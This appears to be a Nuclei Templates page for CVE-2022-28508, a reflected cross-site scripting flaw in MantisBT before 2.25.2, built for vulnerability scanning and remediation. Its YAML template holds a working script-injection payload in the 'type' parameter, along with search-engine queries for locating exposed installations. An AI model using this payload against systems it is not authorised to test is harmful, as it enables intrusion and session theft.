Skip to content
Nuclei Templates

MantisBT < 2.25.2 - Cross-Site Scripting

ID: CVE-2022-28508

Severity: medium

Author: ritikchaddha

Tags: cve,cve2022,mantisbt,xss,opensearch

Description

Section titled “Description”

MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the ‘type’ parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.

YAML Source

Section titled “YAML Source”
id: CVE-2022-28508


info:
  name: MantisBT < 2.25.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the 'type' parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript code in the context of a victim's browser,potentially leading to session hijacking, credential theft, or phishing attacks.
  remediation: |
    Upgrade to MantisBT version 2.25.2 or later which contains the fix for this vulnerability.If upgrading is not immediately possible, restrict access to the browser_search_plugin.php endpoint.
  reference:
    - https://github.com/YavuzSahbaz/CVE-2022-28508/blob/main/MantisBT%202.25.2%20XSS%20vulnurability
    - https://www.mantisbt.org/bugs/changelog_page.php
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28508
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28508
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MantisBT"
    fofa-query: title="MantisBT"
  tags: cve,cve2022,mantisbt,xss,opensearch


http:
  - method: GET
    path:
      - "{{BaseURL}}/browser_search_plugin.php?type=text%27%22()%26%25<acx><ScRiPt>alert(document.domain)</ScRiPt>"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<ShortName>"
        condition: and


      - type: word
        part: content_type
        words:
          - "application/opensearchdescription"


      - type: status
        status:
          - 200
# digest: 4a0a004730450220377bed70d7ab183659c9eb2e42dcd9a9e622f9b8bdba4eca64f8491dff54ce01022100831d66ce84a31786756114fba6aeb265b9e49d683750f50d796064703b9d1a5e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-28508.yaml"

View on Github